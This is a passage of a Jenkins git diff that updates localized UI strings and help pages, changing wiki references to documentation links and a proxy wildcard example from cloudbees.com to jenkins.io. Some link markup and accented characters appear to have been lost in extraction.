\u0431\u0438\u0431\u043B\u0438\u043E\u0442\u0435\u043A\u0430 No\ information\ recorded=\u041D\u0435\u043C\u0430 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 static.dependencies=\u0421\u0442\u0430\u0442\u0443\u0447\u043A\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0438 diff --git a/core/src/main/resources/hudson/AboutJenkins/index_uk.properties b/core/src/main/resources/hudson/AboutJenkins/index_uk.properties index b8d02b4edf..90f70bb94a 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_uk.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_uk.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors about=\u041F\u0440\u043E \u0414\u0436\u0435\u043D\u043A\u0456\u043A\u0441 -blurb=\u0414\u0436\u0435\u043D\u043A\u0456\u043D\u0441 \u0454 \u0441\u0435\u0440\u0432\u0435\u0440\u043E\u043C \u0431\u0435\u0437\u043F\u0435\u0440\u0435\u0440\u0432\u043D\u043E\u0457 \u0456\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0456\u0457 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u043A\u043E\u0434\u043E\u043C \u0440\u043E\u0437\u0440\u043E\u0431\u043B\u044E\u0432\u0430\u043D\u0438\u0439 \u0441\u043F\u0456\u043B\u044C\u043D\u043E\u0442\u043E\u044E. +blurb=\u0414\u0436\u0435\u043D\u043A\u0456\u043D\u0441 \u0454 \u0441\u0435\u0440\u0432\u0435\u0440\u043E\u043C \u0431\u0435\u0437\u043F\u0435\u0440\u0435\u0440\u0432\u043D\u043E\u0457 \u0456\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0456\u0457 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u043A\u043E\u0434\u043E\u043C \u0440\u043E\u0437\u0440\u043E\u0431\u043B\u044E\u0432\u0430\u043D\u0438\u0439 \u0441\u043F\u0456\u043B\u044C\u043D\u043E\u0442\u043E\u044E. dependencies=\u0414\u0436\u0435\u043D\u043A\u0456\u043D\u0441 \u043C\u0430\u0454 \u0437\u0430\u043B\u0435\u0436\u043D\u043E\u0441\u0442\u0456 \u0432\u0456\u0434 \u043D\u0430\u0442\u0443\u043F\u043D\u0438\u0445 diff --git a/core/src/main/resources/hudson/AboutJenkins/index_zh_CN.properties b/core/src/main/resources/hudson/AboutJenkins/index_zh_CN.properties index 713451482a..2678d4a342 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_zh_CN.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_zh_CN.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=\u5173\u4E8EJenkins{0} -blurb=Jenkins\u662F\u4E00\u4E2A\u57FA\u4E8E\u793E\u533A\u5F00\u53D1\u7684\u5F00\u6E90\u6301\u7EED\u96C6\u6210\u670D\u52A1\u5668 +blurb=Jenkins\u662F\u4E00\u4E2A\u57FA\u4E8E\u793E\u533A\u5F00\u53D1\u7684\u5F00\u6E90\u6301\u7EED\u96C6\u6210\u670D\u52A1\u5668 dependencies=Jenkins\u4F9D\u8D56\u4E8E\u4EE5\u4E0B\u7B2C\u4E09\u65B9\u5E93 diff --git a/core/src/main/resources/hudson/AboutJenkins/index_zh_TW.properties b/core/src/main/resources/hudson/AboutJenkins/index_zh_TW.properties index 8003b81289..2b9701f4e2 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_zh_TW.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_zh_TW.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=\u95DC\u65BC Jenkins {0} -blurb=Jenkins \u662F\u793E\u7FA4\u958B\u767C\u7684\u958B\u653E\u539F\u59CB\u78BC\u6301\u7E8C\u6574\u5408\u4F3A\u670D\u5668\u3002 +blurb=Jenkins \u662F\u793E\u7FA4\u958B\u767C\u7684\u958B\u653E\u539F\u59CB\u78BC\u6301\u7E8C\u6574\u5408\u4F3A\u670D\u5668\u3002 dependencies=Jenkins \u76F8\u4F9D\u65BC\u4E0B\u5217\u7B2C\u4E09\u65B9\u51FD\u5F0F\u5EAB\u3002 diff --git a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost.html b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost.html index a0421a7792..91f8dbd8c1 100644 --- a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost.html +++ b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost.html @@ -1,4 +1,4 @@

                                                                      Specify host name patterns that shouldn't go through the proxy, one host per line. - "*" is the wild card host name (such as "*.cloudbees.com" or "www*.jenkins-ci.org") + "*" is the wild card host name (such as "*.jenkins.io" or "www*.jenkins-ci.org")
                                                                      \ No newline at end of file diff --git a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_de.html b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_de.html index d47178d1e4..7305964880 100644 --- a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_de.html +++ b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_de.html @@ -2,5 +2,5 @@ Geben Sie Servernamen-Muster an, die nicht über den Proxy abgerufen werden sollen. Geben Sie einen Eintrag pro Zeile ein. Verwenden Sie gegebenenfalls das Jokerzeichen "*", um Gruppen von Servern anzugeben - (wie in "*.cloudbees.com" or "www*.jenkins-ci.org") + (wie in "*.jenkins.io" or "www*.jenkins-ci.org") diff --git a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_ja.html b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_ja.html index 76705e6eef..c349cc67b5 100644 --- a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_ja.html +++ b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_ja.html @@ -1,4 +1,4 @@
                                                                      プロキシーを使用しないホスト名のパターンを1行に1つずつ設定します。 - ホスト名には"*"(ワイルドカード)を、"*.cloudbees.com"や"www*.jenkins-ci.org"のように使用することができます。 + ホスト名には"*"(ワイルドカード)を、"*.jenkins.io"や"www*.jenkins-ci.org"のように使用することができます。
                                                                      \ No newline at end of file diff --git a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_zh_TW.html b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_zh_TW.html index 457b923357..a6df9c10ed 100644 --- a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_zh_TW.html +++ b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_zh_TW.html @@ -1,4 +1,4 @@
                                                                      指定不要透過代理伺服器連線的主機名稱樣式,一行一個。 - 可以使用 "*" 代表任何字串 (例如 "*.cloudbees.com" 或是 "www*.jenkins-ci.org")。 + 可以使用 "*" 代表任何字串 (例如 "*.jenkins.io" 或是 "www*.jenkins-ci.org")。
                                                                      \ No newline at end of file diff --git a/core/src/main/resources/hudson/cli/CLIAction/index.properties b/core/src/main/resources/hudson/cli/CLIAction/index.properties index d2e768307a..e4eebf4895 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index.properties @@ -1,4 +1,4 @@ Jenkins\ CLI=Jenkins CLI blurb=You can access various features in Jenkins through a command-line tool. See \ - the Wiki for more details of this feature.\ + the documentation for more details of this feature.\ To get started, download jenkins-cli.jar, and run it as follows: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_de.properties b/core/src/main/resources/hudson/cli/CLIAction/index_de.properties index d7b0a91ed1..372ffd4e8a 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_de.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_de.properties @@ -2,6 +2,6 @@ Available\ Commands=Verf\u00FCgbare Kommandos Jenkins\ CLI=Jenkins CLI blurb=\ Sie knnen ausgewhlte Funktionen von Jenkins ber ein Kommandozeilenwerkzeug (engl.: Command Line Interface, CLI) nutzen. \ - Nheres dazu finden Sie im Wiki. \ + Nheres dazu finden Sie in der Dokumentation. \ Um Jenkins CLI einzusetzen, laden Sie jenkins-cli.jar \ lokal herunter und starten es wie folgt: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_es.properties b/core/src/main/resources/hudson/cli/CLIAction/index_es.properties index 16d664612b..3639ef8831 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_es.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_es.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. blurb=Puedes acceder a varias funcionalidades de Jenkins utilizando la linea de comandos. \ - Echa un vistazo a esta pgina para mas detalles. \ + Echa un vistazo a esta pgina para mas detalles. \ Para comenzar, descarga a href="{0}/jnlpJars/jenkins-cli.jar">jenkins-cli.jar, y ejecuta lo siguiente: Jenkins\ CLI=Interfaz de comandos (CLI) de Jenkins Available\ Commands=Comandos disponibles diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_fr.properties b/core/src/main/resources/hudson/cli/CLIAction/index_fr.properties index 5bb5e770f3..c51c705ec8 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_fr.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_fr.properties @@ -22,4 +22,4 @@ Available\ Commands=Commandes disponibles Jenkins\ CLI=Ligne de commande (CLI) Jenkins -blurb=Vous pouvez acc\u00E9der \u00E0 diverses fonctionnalit\u00E9s de Jenkins \u00E0 travers une ligne de commande. Voir le wiki pour plus d''information sur cette fonctionnalit\u00E9. Pour d\u00E9buter, t\u00E9l\u00E9chargez jenkins-cli.jar et utilisez le comme suit: +blurb=Vous pouvez acc\u00E9der \u00E0 diverses fonctionnalit\u00E9s de Jenkins \u00E0 travers une ligne de commande. Voir le wiki pour plus d''information sur cette fonctionnalit\u00E9. Pour d\u00E9buter, t\u00E9l\u00E9chargez jenkins-cli.jar et utilisez le comme suit: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_it.properties b/core/src/main/resources/hudson/cli/CLIAction/index_it.properties index fb7ef102f1..61db53365e 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_it.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_it.properties @@ -1,5 +1,5 @@ Available\ Commands=Comandi disponibili Jenkins\ CLI=Jenkins CLI blurb=Puoi accede alle funzionalit\u00e0\u00a0 di Jenkins attraverso un tool da linea di comando. Per maggiori dettagli visita \ - la Wiki. \ + la Wiki. \ Per iniziare, scarica jenkins-cli.jar, e lancia il seguente comando: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_ja.properties b/core/src/main/resources/hudson/cli/CLIAction/index_ja.properties index a6522667f8..67bc6c6caa 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_ja.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_ja.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. blurb=\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u306e\u30c4\u30fc\u30eb\u304b\u3089Jenkins\u306e\u69d8\u3005\u306a\u6a5f\u80fd\u3092\u5229\u7528\u3067\u304d\u307e\u3059\u3002\ - \u8a73\u7d30\u306fWiki\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002\ + \u8a73\u7d30\u306fWiki\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002\ \u307e\u305a\u306f\u3001jenkins-cli.jar\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u6b21\u306e\u3088\u3046\u306b\u8d77\u52d5\u3057\u3066\u304f\u3060\u3055\u3044\u3002 Jenkins\ CLI=Jenkins CLI Available\ Commands=\u5229\u7528\u53ef\u80fd\u306a\u30b3\u30de\u30f3\u30c9 diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_nl.properties b/core/src/main/resources/hudson/cli/CLIAction/index_nl.properties index ee556037d3..da112a8140 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_nl.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_nl.properties @@ -21,4 +21,4 @@ # THE SOFTWARE. Available\ Commands=Beschikbare commando''s -blurb=Je kan gebruik maken van verschillende mogelijkheden in Jenkins via een opdracht op de commandoregel. Zie de Wiki voor verder details hierover. Om te beginnen, download jenkins-cli.jar, en voer het uit als volgt: +blurb=Je kan gebruik maken van verschillende mogelijkheden in Jenkins via een opdracht op de commandoregel. Zie de Wiki voor verder details hierover. Om te beginnen, download jenkins-cli.jar, en voer het uit als volgt: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_pt_BR.properties b/core/src/main/resources/hudson/cli/CLIAction/index_pt_BR.properties index 2cabf24de0..9eb5bd486e 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_pt_BR.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_pt_BR.properties @@ -23,8 +23,8 @@ Available\ Commands=Comandos dispon\u00EDveis Jenkins\ CLI= # You can access various features in Jenkins through a command-line tool. See \ -# the Wiki for more details of this feature.\ +# the Wiki for more details of this feature.\ # To get started, download jenkins-cli.jar, and run it as follows: -blurb=\ Voc\u00ea pode acessar v\u00e1rias funcionalidades do Jenkins pelo prompt de comando. Veja \ +blurb=\ Voc\u00ea pode acessar v\u00e1rias funcionalidades do Jenkins pelo prompt de comando. Veja \ a Wiki diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_ru.properties b/core/src/main/resources/hudson/cli/CLIAction/index_ru.properties index 2e962ae468..6af77f38a5 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_ru.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_ru.properties @@ -22,4 +22,4 @@ Available\ Commands=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u044B\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u044B Jenkins\ CLI=\u041A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u044B Jenkins -blurb=\u0421 \u043F\u043E\u043C\u043E\u0449\u044C\u044E \u043A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u0445 \u043A\u043E\u043C\u0430\u043D\u0434 Jenkins \u0432\u044B \u043C\u043E\u0436\u0435\u0442\u0435 \u043F\u043E\u043B\u0443\u0447\u0438\u0442\u044C \u0434\u043E\u0441\u0442\u0443\u043F \u043A \u0431\u043E\u043B\u044C\u0448\u043E\u043C\u0443 \u043A\u043E\u043B\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u0439. \u0411\u043E\u043B\u0435\u0435 \u0434\u0435\u0442\u0430\u043B\u044C\u043D\u0430\u044F \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u044F \u043D\u0430\u0445\u043E\u0434\u0438\u0442\u0441\u044F \u0432 \u0431\u0430\u0437\u0435 \u0437\u043D\u0430\u043D\u0438\u0439 Jenkins. \u0414\u043B\u044F \u0442\u043E\u0433\u043E, \u0447\u0442\u043E\u0431\u044B \u043D\u0430\u0447\u0430\u0442\u044C \u043F\u043E\u043B\u044C\u0437\u043E\u0432\u0430\u0442\u044C\u0441\u044F \u043A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u043C\u0438 \u043A\u043E\u043C\u0430\u043D\u0434\u0430\u043C\u0438, \u043D\u0435\u043E\u0431\u0445\u043E\u0434\u0438\u043C\u043E \u0441\u043A\u0430\u0447\u0430\u0442\u044C jenkins-cli.jar, \u0438 \u0437\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u044C \u043F\u0430\u043A\u0435\u0442 \u0441\u043B\u0435\u0434\u0443\u044E\u0449\u0438\u043C \u043E\u0431\u0440\u0430\u0437\u043E\u043C: +blurb=\u0421 \u043F\u043E\u043C\u043E\u0449\u044C\u044E \u043A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u0445 \u043A\u043E\u043C\u0430\u043D\u0434 Jenkins \u0432\u044B \u043C\u043E\u0436\u0435\u0442\u0435 \u043F\u043E\u043B\u0443\u0447\u0438\u0442\u044C \u0434\u043E\u0441\u0442\u0443\u043F \u043A \u0431\u043E\u043B\u044C\u0448\u043E\u043C\u0443 \u043A\u043E\u043B\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u0439. \u0411\u043E\u043B\u0435\u0435 \u0434\u0435\u0442\u0430\u043B\u044C\u043D\u0430\u044F \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u044F \u043D\u0430\u0445\u043E\u0434\u0438\u0442\u0441\u044F \u0432 \u0431\u0430\u0437\u0435 \u0437\u043D\u0430\u043D\u0438\u0439 Jenkins. \u0414\u043B\u044F \u0442\u043E\u0433\u043E, \u0447\u0442\u043E\u0431\u044B \u043D\u0430\u0447\u0430\u0442\u044C \u043F\u043E\u043B\u044C\u0437\u043E\u0432\u0430\u0442\u044C\u0441\u044F \u043A\u043E\u043D\u0441\u043E\u043B\u044C\u043D\u044B\u043C\u0438 \u043A\u043E\u043C\u0430\u043D\u0434\u0430\u043C\u0438, \u043D\u0435\u043E\u0431\u0445\u043E\u0434\u0438\u043C\u043E \u0441\u043A\u0430\u0447\u0430\u0442\u044C jenkins-cli.jar, \u0438 \u0437\u0430\u043F\u0443\u0441\u0442\u0438\u0442\u044C \u043F\u0430\u043A\u0435\u0442 \u0441\u043B\u0435\u0434\u0443\u044E\u0449\u0438\u043C \u043E\u0431\u0440\u0430\u0437\u043E\u043C: diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties b/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties index 704a2a0c31..8f1eec2169 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors Jenkins\ CLI=Jenkins \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 -blurb=\u041F\u043E\u043C\u043E\u045B\u0443 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 Jenkins \u043C\u043E\u0436\u0435\u0442\u0435 \u0434\u043E\u0431\u0438\u0442\u0438 \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u0432\u0435\u043B\u0438\u043A\u043E\u043C \u0431\u0440\u043E\u0458\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u0458\u0430. \u0414\u0435\u0442\u0430\u0459\u043D\u0435 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0435 \u043D\u0430 \u0443 Jenkins \u0432\u0438\u043A\u0438. \u0423 \u0446\u0438\u0459\u0443 \u0434\u0430 \u043F\u043E\u0447\u043D\u0435\u0442\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0443, \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u0434\u0430 \u043F\u0440\u0435\u0443\u0437\u043C\u0435\u0442\u0435 jenkins-cli.jar, \u0438 \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 \u043F\u0430\u043A\u0435\u0442 \u043D\u0430 \u0441\u043B\u0435\u0434\u0435\u045B\u0438 \u043D\u0430\u0447\u0438\u043D: +blurb=\u041F\u043E\u043C\u043E\u045B\u0443 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 Jenkins \u043C\u043E\u0436\u0435\u0442\u0435 \u0434\u043E\u0431\u0438\u0442\u0438 \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u0432\u0435\u043B\u0438\u043A\u043E\u043C \u0431\u0440\u043E\u0458\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u0458\u0430. \u0414\u0435\u0442\u0430\u0459\u043D\u0435 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0435 \u043D\u0430 \u0443 Jenkins \u0432\u0438\u043A\u0438. \u0423 \u0446\u0438\u0459\u0443 \u0434\u0430 \u043F\u043E\u0447\u043D\u0435\u0442\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0443, \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u0434\u0430 \u043F\u0440\u0435\u0443\u0437\u043C\u0435\u0442\u0435 jenkins-cli.jar, \u0438 \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 \u043F\u0430\u043A\u0435\u0442 \u043D\u0430 \u0441\u043B\u0435\u0434\u0435\u045B\u0438 \u043D\u0430\u0447\u0438\u043D: Available\ Commands=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_zh_CN.properties b/core/src/main/resources/hudson/cli/CLIAction/index_zh_CN.properties index f8cf7eede7..bd6ca6d779 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_zh_CN.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_zh_CN.properties @@ -22,4 +22,4 @@ Available\ Commands=\u53EF\u7528\u7684\u547D\u4EE4 Jenkins\ CLI=Jenkins \u547d\u4ee4\u884c -blurb=\u4F60\u53EF\u4EE5\u901A\u8FC7\u547D\u4EE4\u884C\u5DE5\u5177\u64CD\u4F5CJenkins\u7684\u8BB8\u591A\u7279\u6027\u3002\u4F60\u53EF\u4EE5\u901A\u8FC7 Wiki\u83B7\u5F97\u66F4\u591A\u4FE1\u606F\u3002\u4F5C\u4E3A\u5F00\u59CB\uFF0C\u4F60\u53EF\u4EE5\u4E0B\u8F7Djenkins-cli.jar\uFF0C\u7136\u540E\u8FD0\u884C\u4E0B\u5217\u547D\u4EE4\uFF1A +blurb=\u4F60\u53EF\u4EE5\u901A\u8FC7\u547D\u4EE4\u884C\u5DE5\u5177\u64CD\u4F5CJenkins\u7684\u8BB8\u591A\u7279\u6027\u3002\u4F60\u53EF\u4EE5\u901A\u8FC7 Wiki\u83B7\u5F97\u66F4\u591A\u4FE1\u606F\u3002\u4F5C\u4E3A\u5F00\u59CB\uFF0C\u4F60\u53EF\u4EE5\u4E0B\u8F7Djenkins-cli.jar\uFF0C\u7136\u540E\u8FD0\u884C\u4E0B\u5217\u547D\u4EE4\uFF1A diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_zh_TW.properties b/core/src/main/resources/hudson/cli/CLIAction/index_zh_TW.properties index aaa1f13048..8b9bb390ec 100644 --- a/core/src/main/resources/hudson/cli/CLIAction/index_zh_TW.properties +++ b/core/src/main/resources/hudson/cli/CLIAction/index_zh_TW.properties @@ -24,6 +24,6 @@ Jenkins\ CLI=Jenkins \u547d\u4ee4\u5217\u4ecb\u9762 blurb=\ \u60a8\u53ef\u4ee5\u900f\u904e\u547d\u4ee4\u5217\u5de5\u5177\u4f7f\u7528 Jenkins \u7684\u8af8\u591a\u529f\u80fd\u3002\ - \u5728 Wiki \u4e0a\u6709\u8a73\u7d30\u7684\u529f\u80fd\u8aaa\u660e\u3002\ + \u5728 Wiki \u4e0a\u6709\u8a73\u7d30\u7684\u529f\u80fd\u8aaa\u660e\u3002\ \u5fc3\u52d5\u4e0d\u5982\u99ac\u4e0a\u884c\u52d5\uff0c\u4e0b\u8f09 jenkins-cli.jar \u4e26\u57f7\u884c\u4ee5\u4e0b\u6307\u4ee4: Available\ Commands=\u53ef\u7528\u6307\u4ee4 diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.properties index 5b67eef770..60274c7365 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index.properties @@ -28,4 +28,4 @@ description.2=To prevent that problem, you should act now. solution.1=Clean up some files from this partition to make more room. solution.2=\ Move JENKINS_HOME to a bigger partition. \ - See our Wiki for how to do this. + See our documentation for how to do this. diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_de.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_de.properties index 50dfd49b45..4ef1658f7e 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_de.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_de.properties @@ -5,4 +5,4 @@ description.1=Das Verzeichnis JENKINS_HOME ({0}) ist fast voll. Ist die description.2=Um dieses Problem zu vermeiden, sollten Sie jetzt handeln. solution.1=Lschen Sie Dateien dieses Laufwerks, um Speicherplatz wieder freizugeben. solution.2=Verschieben Sie JENKINS_HOME auf ein Laufwerk mit mehr freiem Platz. \ - Eine Anleitung dazu finden Sie im Wiki. + Eine Anleitung dazu finden Sie im Wiki. diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_es.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_es.properties index 6415c2f555..5711590493 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_es.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_es.properties @@ -28,6 +28,6 @@ description.2=Debes hacer algo ahora para prevenir el problema. solution.1=Borra ficheros de esta particin para liberar espacio. solution.2=\ Mueve el directorio de JENKINS_HOME a una partcin mayor. \ - Echa un vistazo a esta pgina para saber cmo hacerlo. + Echa un vistazo a esta pgina para saber cmo hacerlo. JENKINS_HOME\ is\ almost\ full=El directirio JENKINS_HOME ({0}) est casi lleno. diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_fr.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_fr.properties index 8b52c71b8a..e09a762023 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_fr.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_fr.properties @@ -24,5 +24,5 @@ blurb=JENKINS_HOME est presque plein description.1=Votre r\u00E9pertoire JENKINS_HOME ({0}) est presque plein. Quand il n''y aura plus d''espace disponible dans ce r\u00E9pertoire, Jenkins aura un comportement erratique, car il ne pourra plus stocker de donn\u00E9es. description.2=Pour \u00E9viter ce probl\u00E8me, vous devez agir maintenant. solution.1=Supprimez des fichiers sur cette partition afin de faire plus de place. -solution.2=D\u00E9placez JENKINS_HOME sur une partition plus grande. Consultez notre Wiki pour la d\u00E9marche \u00E0 suivre. +solution.2=D\u00E9placez JENKINS_HOME sur une partition plus grande. Consultez notre Wiki pour la d\u00E9marche \u00E0 suivre. JENKINS_HOME\ is\ almost\ full=JENKINS_HOME est presque plein diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_ja.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_ja.properties index bf281d21e1..e771df40e4 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_ja.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_ja.properties @@ -28,5 +28,5 @@ description.2=\u554F\u984C\u304C\u8D77\u304D\u306A\u3044\u3088\u3046\u306B\u3001 solution.1=\u3053\u306E\u30D1\u30FC\u30C6\u30A3\u30B7\u30E7\u30F3\u306E\u30D5\u30A1\u30A4\u30EB\u3092\u524A\u9664\u3057\u3066\u3001\u7A7A\u304D\u3092\u4F5C\u308A\u307E\u3059\u3002 solution.2=\ JENKINS_HOME\u3092\u3082\u3063\u3068\u5BB9\u91CF\u306E\u3042\u308B\u30D1\u30FC\u30C6\u30A3\u30B7\u30E7\u30F3\u306B\u79FB\u3057\u307E\u3059\u3002\ - \u8A73\u3057\u3044\u65B9\u6CD5\u306F\u3001Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 + \u8A73\u3057\u3044\u65B9\u6CD5\u306F\u3001Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 JENKINS_HOME\ is\ almost\ full=JENKINS_HOME\u306E\u5BB9\u91CF\u304C\u307B\u307C\u3044\u3063\u3071\u3044\u3067\u3059\u3002 diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_nl.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_nl.properties index b567d7a5ce..c37c0bf5b5 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_nl.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_nl.properties @@ -26,5 +26,5 @@ description.1=\ description.2=Om problemen te vermijden, dient U nu in te grijpen. solution.1=Gelieve ruimte vrij te maken op deze locatie. solution.2=\ - Verhuis JENKINS_HOME naar een locatie met grotere capaciteit. Op onze Wiki vind je meer informatie over hoe je dit kunt realizeren. + Verhuis JENKINS_HOME naar een locatie met grotere capaciteit. Op onze Wiki vind je meer informatie over hoe je dit 